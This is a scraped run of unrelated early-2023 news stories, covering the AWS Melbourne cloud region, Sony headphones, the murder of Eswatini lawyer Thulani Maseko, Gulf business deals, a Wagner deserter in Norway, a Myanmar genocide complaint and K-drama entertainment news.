"We recently launched RMIT University's AWS Cloud Supercomputing facility, known as RACE. RMIT researchers are using RACE to advance battery technologies, photonics, and geospatial science. The low latency and high throughput of the AWS Region in Melbourne, combined with our high-bandwidth private fibre network, will enable researchers and students to innovate beyond the limitations of traditional on-premises data centres."

Equinix Australia was among the AWS partners welcoming the announcement.

Managing director Guy Danskine said "Melbourne is building its reputation as a world-class hub for digital business, attracting continued investment in the core infrastructure necessary to compete and thrive as a global city."

He added "With many organisations accelerating their digital transformation journey, accessing public clouds locally provides a range of benefits, such as network efficiency and cost reduction, increased data security and enhanced collaboration  essential to enabling innovation, increasing agility, and providing an optimised customer experience.

"The new AWS Melbourne region ensures its customers now have proximate architectural options modernising their IT infrastructure in a resilient and secure manner, and they can more easily deploy next generation applications which require technology such as machine learning and artificial intelligence."

AWS plans to invest $6.8 billion in Australia by 2037 through the new region.

An economic impact study prepared for AWS estimates that this projected spending will support more than 2,500 full-time jobs at external businesses annually, and will add approximately $15.9 billion to Australia's GDP by 2037.

"Australia has a strong history of technical innovation, and the launch of a second AWS Region in Australia provides even greater resilience and enables more customers to develop cloud-based applications that help fuel economic development across the country," said AWS vice president of infrastructure services Prasad Kalyanaraman.

"The AWS Asia Pacific (Melbourne) Region adds to our ongoing infrastructure expansion and investments in Australia since we launched the AWS Asia Pacific (Sydney) Region in 2012. We are proud to deepen our investment by driving local job creation, building cloud skills, and creating opportunities for growth and collaboration with our local customers and AWS Partners."

AWS ANZ managing director Rianne Van Veldhuizen said "Since we launched the AWS Sydney region in 2012, we've had hundreds of thousands of customers use local infrastructure to lower cost, decrease time to market, and innovate faster. Today, we're expanding this further.

I'm excited to announce AWS Melbourne region is here. It will bring cloud closer to our Victorian customers so they can store data securely, be more resilient, and deliver even lower latency. For the AWS Melbourne region, we are investing AUD 6.8 billion into the Victorian economy and support more than 2,500 jobs annually across the broader ecosystem by 2037. At AWS, we're committed to moving Australia forward and are eager to collaborate with you, our customers and partners on this launch.

Victorian Minister for Trade and Investment Tim Pallas said "We know how important access to secure cloud infrastructure is to Victorian businesses, and providing more choice will deliver a boost to the economy, support innovation, and help to create new jobs locally."
High salary offers made to new staff in 2022 are now fuelling pay equity concerns for tenured employees, who could pay a price for their loyalty, according to one specialist recruitment.

According to the last Hays Salary Guide , 63% of 4,800 professionals surveyed said theyd benefit financially from changing jobs.

Skills shortages drove up salary offers for many new starters in 2022, says Nick Deligiannis, Managing Director of Hays in Australia and New Zealand.

For skills in highest demand, employers offered a salary increase up to CPI to secure a candidate. This exceeded average salary increases for existing staff, financially penalising loyal employees who are acutely aware of the monetary benefit of changing jobs.

Hays also notes a small increase in the number of employers offering a sign-on bonus. According to a LinkedIn poll Hays ran in late 2022, 8% of 18,045 professionals surveyed said theyd received a starting bonus in the past six months.

Hays offers a number of t ips for employees, including that you should ask for a pay rise and if you suspect your salary is lower than a new starters pay, suggests you:
Sony has announced a new model of headphones, designed with runners in mind - the Sony Float Run. It comes in a novel headphone style that positions the speaker near, but not touching, the ear canal, and without slipping while in motion.

Sony's new design leaves the ear safely uncovered while still delivering a rich sound experience, and without any pressure or sweating or chafing. Runners can enjoy their workouts for longer without disruption.

The Float Run headphones focus on the runner's form, providing a comfortable and stable experience without compromising on sound quality. It is lightweight with a flexible neckband, coming in at only 33 grams.

Sony has tested the Float Run headphones on a wide range of head shapes and hairstyles and assures the headphones will stay with the runner, even if hats and sunglasses are worn too.

The headphones include 16mm drivers and precise tuning and combined with the off-ear style deliver a natural and wide sound, while also eliminating the echo of the sounds made by footsteps, chewing, or heavy breathing during exercise.

Importantly, while the sound can fill the user's ears, they don't cover them and thus the athlete is still aware of their surroundings.

The headphones are IPX4 water-resistant so there's no risk of damage from sweat or rain. The battery life provides for up to 10 hours of playtime and can be charged to an hour of playtime with only 10 minutes of charge. The headphones charge using USB-C and come with a carrying pouch to keep the headphones and cable together.

Users can control playback and use their smartphone voice assistant through the headphone's built-in controls. Naturally, voice control requires a microphone, and sure enough, you can also use the headphones for clear, crisp voice calls with its high-quality built-in mike, thus making it as ideal for productivity as it is for fitness.

The Sony Float Run headphones will be available from April 2023 for a recommended price of $259.95.
This Week in Review

A weekly review of the best and most popular stories published in the Imperial Valley Press. Also, featured upcoming events, new movies at local theaters, the week in photos and much more.
MANZINI  The Multi-Stakeholder Forum (MSF) has dismissed allegations that have started circulating in various social media platforms linking the demise of Thulani Maseko to mismanagement of funds.

The allegations which were shared by various individuals on social media insinuated that there were millions from undisclosed funders which were supposedly misappropriated. It was suggested in the allegations that the deceased human rights lawyer had channelled a portion of the funds to certain organisations and himself. The MSF and the family of Maseko, through Chairperson of the Institute for Democracy and Leadership (IDEAL), Barnes Dlamini, dismissed the allegations and said it was propaganda.

Nonsense

Dlamini said they would not entertain such as it was utter nonsense, given the character and calibre of the deceased. He said the Maseko family had endured a loss and as much as the deceased was a public figure, the public should respect his (Thulanis) family. I worked with Maseko for a long time and he had always been transparent, honest and straight to the point, Dlamini said. He said they would not entertain such propaganda because they knew what Maseko stood for and also because they were in mourning. Dlamini said this was propaganda used in politics and as it was known, politics were defined as a dirty game due to such shenanigans at instances.

He said they knew Maseko as a person who spoke the truth without fear or favour and characterised himself as a poor lawyer because he served the people instead of being in pursuit of personal riches. Dlamini said it was for that reason that they would proceed with what they sought to achieve with Maseko, because it was not about self-gratification but it was for the betterment of the people. Meanwhile, the allegations started circulating following the speculation of what could have caused the assassination of the human rights lawyer. The deceased succumbed to three gunshot wounds which were aimed and fired towards him on Saturday, at around 9:10pm, in a cold-blooded murder.

Killed

He was killed while at his parental home at KaLuhleko, which is a community located about 50 kilometres south-west of Manzini and about 10 kilometres from Bhunya. The family members, who were identified as elders of the Maseko family to this publications reporters, said two of the bullets were aimed and pierced through the head of the deceased, while the third reportedly penetrated his upper abdomen on the left hand-side and exited on the right, leaving his body with a gash almost the size of a tennis ball. The bullet which pierced through his upper abdomen was said to have first grazed his left arm before cutting through his stomach and landing on the screen of a television set.

Some Maseko family members said the deceased human rights lawyer was shot while watching television with his family in a compound that he had constructed for his mother. It was said following the demise of Masekos mother, the lawyer shuffled between the two homesteads (his and parental home), which are less than 50 metres apart. The deceaseds next-of-kin said they received telephonic communication informing them that Maseko had been shot dead. It was said he was killed while seated with his wife and their two sons aged 11 and seven.
Abu Dhabi-based AD Ports Group has announced the opening of the first cruise terminal in the Jordanian city of Aqaba, thus marking the first of its five strategic mega-projects being planned in the kingdom. AD Ports Group will manage and operate the new cruise terminal.

Aqaba Cruise Terminal, a world-class facility for international cruise passengers looking to visit Jordan, specifically Aqaba, Petra and Wadi Rum, will be managed and operated by AD Ports Group.

The terminal launch coincides with the arrival of the cruise vessel MSC Splendida carrying more than 2,000 visitors to Jordan.

The new Aqaba Cruise Terminal marks the launch of the first of five strategic mega-projects planned between AD Ports Group - the global facilitator of logistics, industry and trade - and Aqaba Development Corporation to advance the coastal citys tourism, logistics and transport sectors, it stated.

The inauguration ceremony was held under the patronage of Prime Minister Dr Bisher Khasawneh, Sheikh Khalifa Bin Mohammed Bin Khalid Al Nahyan, UAE Ambassador to Jordan, and Tawfiq Kreishan Deputy Prime Minister and Minister of Local Administration in Jordan.

A joint project by AD Ports Group and Aqaba Development Corporation, it is aimed at bolstering the coastal citys position as a regional tourism centre and gateway for travellers visiting the Red Sea.

More than 50 vessels are scheduled to dock at the Aqaba Cruise Terminal over the next four months, bringing tens of thousands of visitors to the popular winter-sun destination.

A role model of a successful public-private partnership, the Aqaba Cruise Terminal provides an exceptional travel experience, setting Jordan as a pivotal destination for leisure travellers and signifying economic prosperity, said a statement from AD Ports Group.

The Aqaba Cruise Terminal comprises a 700-metre quay wall, passenger and luggage hall, indoor retail spaces, free Wi-Fi, prayer rooms and offices.

The ultra-modern facility is a one-stop-shop for multiple government stakeholders serving the cruise business, improving processes, procedures and services and making it an attractive destination for cruise lines, thereby increasing ship call opportunities and passenger volumes, while ultimately boosting the economy at large, it stated.

Sheikh Khalifa and Kreishan took a tour and were briefed by Captain Mohamed Juma Al Shamisi, Managing Director and Group CEO of AD Ports Group, on the facilitys wide array of amenities and services that cater to the needs and expectations of international tourists visiting the kingdom.

Sheikh Khalifa said: "The Aqaba Cruise Terminal is the result of the active cooperation and strategic partnership between the UAE and the Hashemite Kingdom of Jordan. Our longstanding, deep-rooted brotherly relations throughout history have today reached advanced levels of coordination on numerous fronts, with both countries serving as model examples of collaboration, wisdom, reason, peace, tolerance and forgiveness for the region and the world."

"The UAE is a key strategic partner for Jordan in a number of fields and is keen to propel mutual economic and investment cooperation to greater heights, while building on existing partnerships across different domains. Trade volumes amounted to around $3 billon last year, and UAE investments in Jordan reached over $17 billion," he noted.

Group Chairman Falah Mohammad Al Ahbabi said the inauguration reflects the ongoing cooperation and strategic partnership between the two brotherly nations, propelling them to new heights.

"As the first and only facility of its kind in the country, the Aqaba Cruise Terminal not only offers an unprecedented opportunity to tap into the fast-growing cruise industry, but also enables us to share our longstanding expertise in operating leading-edge cruise terminals, while supporting AD Ports Groups international growth strategy by leveraging Aqabas pivotal location and vast potential as a regional hub on the Red Sea," he stated.

Engineer Nayef Fayez, Chief Commissioner of ASEZA, Chairman of Aqaba Development Corporation, said: "We remain committed to transforming the city of Aqaba into a competitive investment, commercial and tourism destination on the Red Sea, and the successful inauguration of the Aqaba Cruise Terminal today aligns with these endeavours."

"We thank our partners at AD Ports Group for believing in the vast potential of Aqaba and for sharing our ongoing efforts to stimulate and enhance sustainable economic activity at one of Jordans most vital gateways," he added.

Captain Al Shamisi said this new facility seeks to elevate Aqabas travel experience and leverage its prime location and growth potential to attract tens of thousands of international visitors to explore Jordans top attractions, thereby adding economic value to the coastal city while establishing its position as a destination of choice in the Levant region.

Aqaba Development Corporation CEO Hussein Safadi said: "This strategic partnership serves as a testament to the steadfast collaboration between Jordan and the UAE, firmly positioning Aqaba as a major player within the global arena, while helping promote national plans and drive economic prosperity."

"Not only that, but the subsequent digital transformation resulting from this partnership will also foster a new ecosystem that significantly enhances the resilience of Aqabas maritime sector," he added.-TradeArabia News Service
The value of exports of Bahrain origin products increased 24%, reaching BD4.967 billion ($13.18 billion) during 2022, compared to BD3.994 billion in the previous year.

The value of imports into Bahrain increased 10% in 2022, reaching to BD5.842 billion, compared to BD5.316 billion for the previous year, said the foreign trade report of 2022 released by the Information &eGovernment Authority (iGA).

Bahrain recorded a trade deficit of BD155 million during 2022 compared to a deficit of BD643 million for the previous year.

The top 10 countries accounted for 69% of the value of imports, while the remaining countries accounted for 31%,

According to the report, imports from China ranked first with a total value of BD845 million, Brazil was the second with BD620 million, and Australia was the third with BD509 million.

Non-agglomerated iron ores and concentrates was the top product imported into Bahrain with a total value of BD698 million, while aluminum oxide was second with BD468 million, and parts for airplanes third with BD168 million.

The top 10 countries in terms of the value of exports of national origin accounted for 72% of the total value, while the remaining countries accounting for 28%, the report said.

The Kingdom of Saudi Arabia ranked first among countries receiving Bahraini exports of national origin, importing BD983 million from Bahrain. The US was second with BD694 million and the UAE was third with BD465 million.

Unwrought aluminum alloys emerged as the top products exported during 2022 with a value of BD1.75 billion, agglomerated iron ores and concentrates alloyed was second with a value of BD798 million and unwrought aluminum not alloyed third with BD245 million.

The total value of re-exports increased by 6% to reach BD720 million during 2022, compared with BD679 million for the previous year.

The top 10 countries accounted for 83% of the re-exported value, while the remaining countries accounted for the 17%.

Saudi Arabia ranked first with BD163 million, the UAE second with BD152 million, and Singapore third with BD104 million.

Airplane parts was the top product re-exported from Bahrain worth BD113 million.
Saudi-based Red Sea Global (RSG) has awarded a primary infrastructure and utility contract worth nearly SR1 billion ($266 million) to Al Ayuni Investment and Contracting Company to deliver the first phase of development at Amaala, an ultra-luxury tourism destination located along the Kingdoms north-western coast, across its Triple Bay masterplan.

A cornerstone of Saudi Arabias Vision 2030 ambition to diversify its economy, RSG is the multi-project developer behind the worlds most ambitious regenerative tourism destinations, The Red Sea and Amaala.

According to RSG, Amaalas first phase of development, focused on the Triple Bay masterplan, will encompass eight hotels and upwards of 1,200 hotel keys upon full completion in 2027.

The destination will offer 3,000 hotel rooms across 25 hotels as well as high-end retail establishments, fine dining, wellness, and recreational facilities, it stated.

As per the deal, Al Ayuni will be responsible for delivering primary utility infrastructure systems, while minimising Triple Bays carbon footprint as part of Amaalas commitment towards net-zero operations, it added.

"Todays infrastructure deal forms a critical part of Red Sea Globals ambition to pioneer a new relationship between luxury tourism and the natural environment," remarked its Group CEO John Pagano.

"The sheer scale of the developments and our relentless pursuit of regenerative tourism require meaningful partnerships that can deliver resilient infrastructure. Together with Al Ayuni, we are confident that we can collectively shape the future of developments in the Kingdom and beyond," noted Pagano.

Group Chairman Faheed Al Ayuni said: "Red Sea Global is a future-forward developer that is closely aligned with our legacy of innovating world-class solutions, cementing trusted relationships, and setting new benchmarks."

All design and construction methods meet RSGs stringent criteria for end-to-end sustainable development, including economic, financial, social, and institutional factors, he stated.

"It is an honour for us to contribute to its pioneering destinations and we look forward to unlocking the full breadth of our robust capabilities to meet RSGs ambitious sustainability targets," he added.-TradeArabia News Service
Emerson (EMR),Global software and engineering leader, will provide automation technologies, software and analytics for the Ras Laffan Petrochemical Complex in Qatar as part of a consortium with Viasat Energy Services, a division of global communications company Viasat (VSAT).

The $6 billion integrated polymers project, a joint venture between QatarEnergy and Chevron Phillips Chemical, is currently under construction and scheduled to go online in late 2026.

The project is QatarEnergy's largest investment ever in the countrys petrochemical sector. The complex will include an ethane cracker with a capacity of 2.1 million tonnes of ethylene per year, making it the largest ethane cracker in the Middle East and one of the largest in the world, as well as two high-density polyethylene derivative units with a total capacity of 1.7 million tonnes per year.

Vidya Ramnath, president of Emerson's Middle East and Africa business, said: "We are honored to have been selected as the lead automation contractor for such an important undertaking. Emerson has been working with QatarEnergy for several years and we are proud to support the company's long-term vision. Our advanced automation and analytics solutions will play a key role in the safe and efficient operation of this world-class facility."

Lee Ahlstrom, president of Viasat Energy Services, said:Viasat Energy has a long history of supporting world-class energy projects in Qatar. We look forward to working with Emerson and our end customers to enable the network infrastructure for one of the largest and most technically advanced petrochemical facilities in the world.

Emerson will deliver integrated process control and safety systems that leverage advanced predictive technologies to reduce operational complexity and minimise project risk through its DeltaV distributed control system and Rosemount gas analyzer solutions. Viasat will design and provide an integrated telecommunications infrastructure for the entire Ras Laffan facility.-TradeArabia News Service
A former member of Russian mercenary group Wagner who fled to Norway about 10 days ago has been arrested for violating immigration law, Norwegian police said Monday.

Twenty-six-year-old Andrei Medvedev crossed the Russian-Norwegian border in the far north in the early hours of January 13 and sought asylum in the Scandinavian country.

His lawyer told AFP last week that he was "willing to speak about his experiences in the Wagner Group to people who are investigating war crimes".

Medvedev claims to have fought in Ukraine as a member of Wagner for four months before deserting in November, when the paramilitary organisation led by businessman Yevgeny Prigozhin allegedly extended his contract against his will.

A potentially valuable witness in shedding light on the group's reported brutality in Ukraine, Medvedev has been questioned by Norwegian authorities since arriving in the country.

"The concerned individual has been arrested under the immigration law and it is being considered whether he should be processed for detainment," Jon Andreas Johansen, a police official in charge of immigration affairs, told AFP in an email.

The police did not specify the exact reasons for his arrest and declined to comment further.

Medvedev's Norwegian lawyer, Brynjulf Risnes, told AFP that Medvedev was arrested for refusing to follow restrictions imposed by police since his arrival in the country.

"There are naturally lots of security measures that have been taken and he finds it difficult to conform to them," Risnes added. "He's not accused of anything."

Many questions remain about Medvedev's past and the circumstances of his escape, with some experts saying he could not have crossed the heavily guarded border without assistance.

He claims to have dashed across the frozen Pasvik river that marks part of the Russian-Norwegian border as he was chased by attack dogs and Russian border guards who fired at him.

AFP has not been able to independently confirm his account of events.

Wagner has not denied he worked for the controversial fighting force.

The Norwegian policy's criminal investigations service Kripos, which is taking part in an international inquiry into war crimes in Ukraine, has been interrogating Medvedev since Saturday.
A group of people from Myanmar have filed a criminal complaint in Germany accusing their country's military of genocide, war crimes and crimes against humanity, a rights organisation said Tuesday.

The case was lodged with Germany's Federal Public Prosecutor General under the principle of universal jurisdiction, which allows the prosecution of certain grave crimes regardless of where they took place, and has been used to try Syrians over atrocities committed during the civil war.

The 16 complainants live in several countries, including Myanmar, and are drawn from a cross-section of the country's numerous ethnic groups -- including Rohingya, the dominant Burman and minority Chin communities.

Their accounts date from 2017, when the country was run by a civilian government, to 2021, after the coup that brought the current junta to power.

"They (the army) don't think of us as people and treat us like animals", said Thi Da, a 35-year-old ethnic Chin.

Her husband disappeared in September, following the 2021 army coup.

The 215-page complaint alleges the military "systematically killed, raped, tortured, imprisoned, disappeared, persecuted, and committed other acts that amount to genocide, crimes against humanity, and war crimes," the campaign group Fortify Rights, which is leading the legal case, said in a statement.

The complaint draws on more than 1,000 interviews conducted by Fortify Rights since 2013, as well as leaked documents and information from the Myanmar army and deserters, said the rights group.

It alleges that senior military officials "knew about their subordinates' crimes, and failed to take any action to prevent the crimes from happening and to punish the perpetrators".

The complaint asks the German prosecutor to open an investigation into specific officials and others liable for mass atrocity crimes.

It also addresses the army's actions during a violent crackdown against the Rohingya in 2017, which forced more than 740,000 to flee.

- 'I want justice' -

One Rohingya woman, identified by the initials FK, survived an attack by soldiers and non-Rohingya on her northern Rakhine village in August 2017.

Seven members of her family were killed, and as she was beaten by soldiers, she heard her daughter-in-law being raped in the adjacent room.

"As a Rohingya woman, I want justice for the genocide so that it does not happen again," FK said.

Cases are currently being heard by the International Criminal Court, the International Court of Justice, and another universal jurisdiction case in Argentina for crimes committed during the military crackdown on the Rohingya.

The United States has said Myanmar's 2017 crackdown on Rohingya constituted genocide.

The German complaint was filed on January 20 and is not publicly available, according to Fortify Rights, which was established in Myanmar and also works in Thailand and Malaysia.

Germany has repeatedly prosecuted atrocities committed abroad, including the war in Syria.

In January last year, a German court jailed a former Syrian colonel for life for overseeing the murder of 27 people and the torture of 4,000 others at a Damascus detention centre a decade ago.

More recently, the federal prosecutor's office in Karlsruhe opened an investigation into suspected war crimes by Russian troops following the invasion of Ukraine.
SBS continues to tease viewers with the much-awaited return of "Taxi Driver 2" starring Lee Je Hoon.

As the broadcast network gears up for the premiere of the beloved revenge series, the script reading featured the new and returning cast including Shim So Young who took the iconic role of Madame Lim.

Headlined by Lee Je Hoon, Kim Eu Suing, Pyo Ye Jin along with the Rainbow Taxi mechanics Bae Yoo Ram and Jang Hyuk Jin, the second season will introduce the team's new. member Shin Jae Ha as On Ha Joon.

Shim So Young's Role as Madame Lim to Appear in 'Taxi Driver 2'

SBS showed a sneak peek of the "Taxi Driver 2" script reading where cast members are gathered as actors break down the story scene by scene.

Besides the main leads, a familiar face was spotted as Shim So Young will be reprising her role as Madame Lim.

To recall, in "Taxi Driver: episode 9, Madame Lim was introduced as a ruthless gangster who runs illegal activities.

Due to the Rainbow Taxi's mission to hunt down these criminals, Kim Do Ki, played by Lee Je Hoon disguised himself as Chinese investor Wang Tao Chi.

As part of the group's plan, Kim Do Ki's disguise must win the heart of Madame Li.

Interestingly, he succeeded in his plan, thanks to Wang Tao Chi's undeniable charm.

The scene also included Wang Tao Chi and Madame Lim's first date, showing off the duo's chemistry that surely entertained the viewers.

Apart from "Taxi Driver" seasons 1 and 2, Shim So Young also appeared in various K-dramas such as "Behind Every Star as a veteran talent agent and assistant director Jang Myung Ae, as well as in "Alchemy of Souls" season 1 as Shaman Choi.

'Taxi Driver 2' Release Date and What to Expect in Lee Je Hoon's New Drama

After almost 2 years since season 1 successfully wrapped up the show, the beloved members of Rainbow Taxi group will return with a bolder mission along with a new member.

"Taxi Driver 2" will be Shin Jae Ha's official project since his discharge in the military and will be playing the new driver On Ha Joon.

His character is described as someone a new driver at Rainbow Taxi, and he is described who has an innocent charm.

Unfortunately, viewers will not be seeing Esom play the role of fearless prosecutor Kang Han Na as the actress declined the offer due to a schedule conflict.

As for the "Taxi Driver 2" release date, SBS revealed that Lee Je Hoon's new drama will premiere on February 17.

IN CASE YOU MISSED IT: 'Taxi Driver' Season 2 Teases Viewers With Pyo Ye Jin's Surprising Character

KDramastars owns this article

Written by Geca Wills
After a year since "Ghost Doctor," Son Na Eun returns to the small screen as a third generation chaebol heir in the workplace drama "Agency," much to fans' delight. Here's how much she earns at 28! Read on to know more!

Son Na Eun's Transition From Idol To Actress

Prior to her reign as an actress, Son Na Eun first made an appearance as a member of the popular girl group Apink along with fellow idol-actresses Jung Eunji and Yoon Bomi.

The group released all-time classics in the K-Pop scene like "Mr. Chu," "No No No," "Remember" and more.

In 2012, Son Na Eun was cast as the teenage version of award-winning actress Kim So Yeon in the historical drama "The Great Seer."

After three years, the idol-actress finally made her silver screen debut with the mafia romance film "Return of the Noble Family."

However, it wasn't until 2020 that she received her first ever major acting role in the series "Dinner Mate."

Son Na Eun's Net Worth In 2023

Among other idol-actresses in her generation, Son Na Eun is without a doubt one of the highly praised in both domestic and overseas scenes.

At 28, she has received numerous nominations for her acting skills. Apart from that, she is also recognized by Forbes as one of the most influential stars of the decade, making it to the list of "Korea Power Celebrity."

In addition to that, she's also the first ever South Korean ambassador of the luxury brand Jimmy Choo.

As Son Na Eun widens her career spectrum, she is expected to show off her versatility and improved acting prowess in the big and small screens.

Son Na Eun's current assets amount to 3 million to 5 million USD; a combination of hard work and popularity not just as an actress but also as a world class idol.

Son Na Eun's Recent Works and More

After the conclusion of "Dinner Mate," Son Na Eun joined Jeon Do Yeon and Ryu Jun Yeol's melancholic series "Lost."

She also took on the role of a medical practitioner in the 2022 drama "Ghost Doctor" opposite quirky doctor Kim Bum.

The two stars' chemistry hooked the public, and became one of the famous couples of 2022.

On the other hand, Son Na Eun decorates the small screen with Lee Bo Young in the workplace series "Agency," which tells the story of a woman who plans to climb to the top of the male-dominated ladder.

The series airs every weekend at 10:30 p.m. KST on JTBC. Watch the teaser here:

KDramaStars owns this article.

Written by Elijah Mully.
A month before the release of its second part, Netflix Korea's "The Glory" starring Song Hye Kyo, Lee Do Hyun and Lim Ji Yeon unveiled a special trailer, raising fans' excitement to a new level.

In Part 2, Song Hye Kyo's revenge plan will finally be executed, putting an end to her eternal agony. Here's what you should expect from the series!

'The Glory' Unveils Special Teaser Ahead of Part 2

Released in December 2022, Song Hye Kyo's revenge drama "The Glory" received critical acclaim from fans all around the world!

The series tells the story of a woman who seeks revenge on the people who tortured her in high school by becoming a homeroom teacher for their child.

With eight remaining episodes-the first half premiered in December-avid fans couldn't hide their anticipation and curiosity as to what kind of ending Moon Dong Eun, played by Song Hye Kyo, will face.

On January 23, Netflix Korea released a special trailer for the drama, doubling the viewers' excitement. The teaser consists of scenes from Part 1 and Part 2, following Moon Dong Eun's vengeful letter addressed to Park Yeon Jin, played by Lim Ji Yeon.

In the teaser, Moon Dong Eun is seen in tricky situations that question her morality and intense feeling for revenge. In one scene, she yells to the top of her lungs as Joo Yeo Jeong, played by Lee Do Hyun, is held back by a group of men.

Next, Ha Do Yeong (Jung Sung Il), whom she plans to use against Park Yeon Jin, seems to have reached his limits in seething anger.

Last but not the least, Moon Dong Eun's right hand man, Kang Hyeon Nam (Yeom Hye Ran), cries as she gets locked up behind bars.

Moon Dong Eun then ends the trailer, whispering, "Dear Yeon Jin, whom I've wanted to kill from the beginning, this is my final letter to you."

The special trailer didn't only raise the excitement for Part 2 but also intensified the viewers' curiosity as to what will happen in the drama. Don't miss the premiere of "The Glory Part 2" this March 10 on Netflix!

'The Glory Part 2' To Tie All Loose Ends

In "The Glory Part 2," every loose end will be tied up once and for all as Song Hye Kyo finally executes her long-awaited revenge plan on Lim Ji Yeon and her friends who made her life a living hell.

Even more so, the group of perpetrators will face the consequences of their actions, haunting them without rest.

In addition to that, Song Hye Kyo is predicted to enter a rose-colored friendship with the two men who are involved in her life, Lee Do Hyun and Jung Sung Il.

The billion dollar question is who is the man who will be able to win her heart whilst delivering her from harm.

Are you curious? Stay tuned as all questions will be answered on the drama's approaching release!

KDramaStars owns this article.

Written by Elijah Mully.
Marriott International signed an average of two deals a day in 2022, for a total of 726 management and franchise agreements, an increase of 21 percent over 2021 signings, representing nearly 108,000 rooms.



In addition, Marriotts City Express transaction, announced in October 2022, is expected to add around 17,000 rooms.



Conversions helped drive signings activity, contributing a robust 20,500 rooms, or approximately 20 percent of rooms signed during the year. Half of the 2022 rooms signed were in international markets, including key growth markets such as India, Saudi Arabia, Mexico and the Caribbean.



The companys industry-leading global development pipeline totalled over 3,000 properties representing more than 496,000 hotel rooms at the end of the year, excluding the City Express rooms. During the year, the company added 394 properties, representing more than 65,000 rooms on a gross basis, growing the system 4.4 percent. Including deletions of 1.3 percent, net rooms increased 3.1 percent.



Excluding the impact of the companys exit from Russia, the deletion rate was 0.8 percent and net rooms increased 3.6 percent. At the end of 2022, Marriotts worldwide system consisted of nearly 8,300 properties and roughly 1.5 million rooms in 138 countries and territories.



We were pleased with the accelerating pace of development activity in 2022 as the global recovery continued, said Anthony Capuano, CEO, Marriott International. The proven resilience of travel is powerful and energizing. Given the attractiveness of our portfolio of global brands, top-ranked Marriott Bonvoy loyalty program, momentum around conversions, and commitment to innovation, we are excited to continue to help lead in the growth of travel.



Extending Marriotts lead in luxury

With an unparalleled portfolio of nearly 500 luxury hotels and resorts in 69 countries and territories, Marriott is poised to extend its lead in luxury with a record 42 luxury hotel agreements signed last year, representing nearly 8,000 rooms.



Conversions continue to contribute meaningfully to growth

Marriott continues to see strong momentum from conversions, including multi-unit conversion opportunities. The company added more than 80 conversion properties in 2022 in locations around the world including Brazil (JW Marriott Hotel Sao Paulo) and India (The St. Regis Goa Resort). In the US and Canada region, the company signed 56 conversion deals, representing nearly 8,000 rooms, including a record 34 select-service deals representing nearly 4,000 rooms. The companys collection brands, including Autograph Collection Hotels, The Luxury Collection, and Tribute Portfolio, represented 30 percent of global conversion rooms signed, with over 6,000 rooms signed in 2022.



We continue to see conversions provide meaningful growth for our system, reinforcing the value of Marriotts brands as owners look to reposition assets and maximize returns, said Noah Silverman, Global Development Officer, U.S. & Canada, Marriott International.



Marriott jumps into affordable midscale

Among the major highlights of 2022, Marriott announced its planned entry into the popular affordable midscale segment. As of October, 2022, the portfolio was comprised of 152 hotels, including around 17,000 rooms across 75 cities in Mexico and three additional countries in Latin America, and five under-construction projects, representing an additional 676 rooms.



Given the high-growth nature of the affordable midscale segment, the company sees opportunities to further expand the City Express by Marriott brand in the Caribbean and Latin America region, as well as in other locations. Marriott expects the transaction, which is subject to regulatory approval and other customary closing conditions, could close in the first half of 2023.



All-In on All-Inclusive in New Segments and Markets

As a top player in the high growth allinclusive space, Marriott continues to focus on expanding its all-inclusive platform to meet rising guest demand. The company anticipates that Southeast Asia and resort markets in Europe and the Middle East could provide additional all-inclusive opportunities in the future.



We have seen a tremendous year of growth in our international regions, said Carlton Ervin, Global Development Officer, International, Marriott International. In the Middle East, we saw a record number of room signings. With rising momentum in our all-inclusive offerings and our planned expansion into the midscale market, we remain focused on providing consumers with more offerings to meet their needs.



Select service development opportunities continue to be a key growth driver for Marriott, representing three-quarters of global deal signings and nearly half of signings across international regions. In 2022, the company signed 523 select service deals. In addition, the company added 216 select service hotels around the world.



Increasing popularity of longer stays

With growing consumer travel preferences for more space driven by the blending of work and leisure trips, the longer stay segment is a highly attractive option for both guests and hotel developers.



The select service and extended stay segments continue to generate significant growth for the company, particularly in the US and Canada, said Silverman. We see exceptional opportunity to propel growth further among our select service and extended stay brands, particularly in underserved secondary and tertiary markets.  TradeArabia News Service
After wowing the viewers with his amazing portrayal of player number 1 in "Squid Game" and bagging a historical win at the Golden Globes, Oh Young Soo is facing charges of sexual assault.

The veteran actor, who often plays monk in various South Korean dramas and movies, amazed global viewers with his portrayal of Oh Il Nam in the blockbuster hit K-drama along with Lee Jung Jae, Park Hae Soo, Jung Ho Yeon, and more.

However, after his claim to fame, Oh Young Soo is scheduled to stand trial on charges of indecent assault.

Oh Young Soo of 'Squid Game' to Face Trial for the First Time

In a report cited by a local outlet Star News, the award-winning actor will face a trial scheduled on February 3 at Suwon District Court at the Seongnam branch.

Per the South Korean court, the incident comes after Oh Young Soo was accused by a woman of inappropriately touching her in 2017.

The woman, who was referred to as Miss A, initially files a complaint but was dismissed in 2021, after the award winning actor denied the allegation, saying it was a "one-sided claim."

However, due to the evidence supporting her complaint, the prosecution re-investigated the case with the court indicting Oh Young Soo without detention.

Due to the case, he will face trial for the first time in five years since the incident occurred in 2017.

Oh Young Soo's Achievement Before the Controversy

Named by Netflix as the streaming giant's biggest show yet, "Squid Game" took the world by storm by delivering show-stopping scenes per episode.

On top of that, the cast lineup complimented the story, especially how the actors played their respective characters.

Among the cast members who gained the public's attention is the 78-year-old actor Oh Young Soo, as his character gave a shocking twist in "Squid Game."

Besides the global attention, he has become the first Korean actor to be awarded individually at the Golden Globes for winning Best Supporting Actor in the Television division at the 79th Golden Globe Awards.

In addition, he once again surprised fans with Oh Young Soo's Balenciaga appearance for the brand's collaboration with Adidas.

Featured in Arena Homme+ Korea's November 2022 issue, the veteran actor posed donning 5 different looks from the collection.

Will Oh Young Soo Return in 'Squid Game' Season 2?

With Netflix and director Hwang Dong Hyuk confirming that "Squid Game" gets the green light for season 2, fans are looking forward to who among the cast members will reprise their roles.

Previously, the renowned filmmaker confirmed that Lee Jung Jae and Lee Byung Hun will return with their characters and also hints at Gong Yoo's mysterious character.

As for others, director Hwang Dong Hyuk is yet to name stars who will be part of "Squid Game" season 2, including Oh Young Soo.

IN CASE YOU MISSED IT: Oh Young Soo Make Heads Turn With Radical Change for Magazine Cover

KDramastars owns this article

Written by Geca Wills
Kennesaw States online degree programs rank among best in nation

KENNESAW, Ga. | Jan 24, 2023

Kennesaw State Universitys online programs have been ranked among the best in the nation by U.S. News & World Report in its 2023 Best Online Programs and 2023 Best Online Programs for Veterans lists released today.

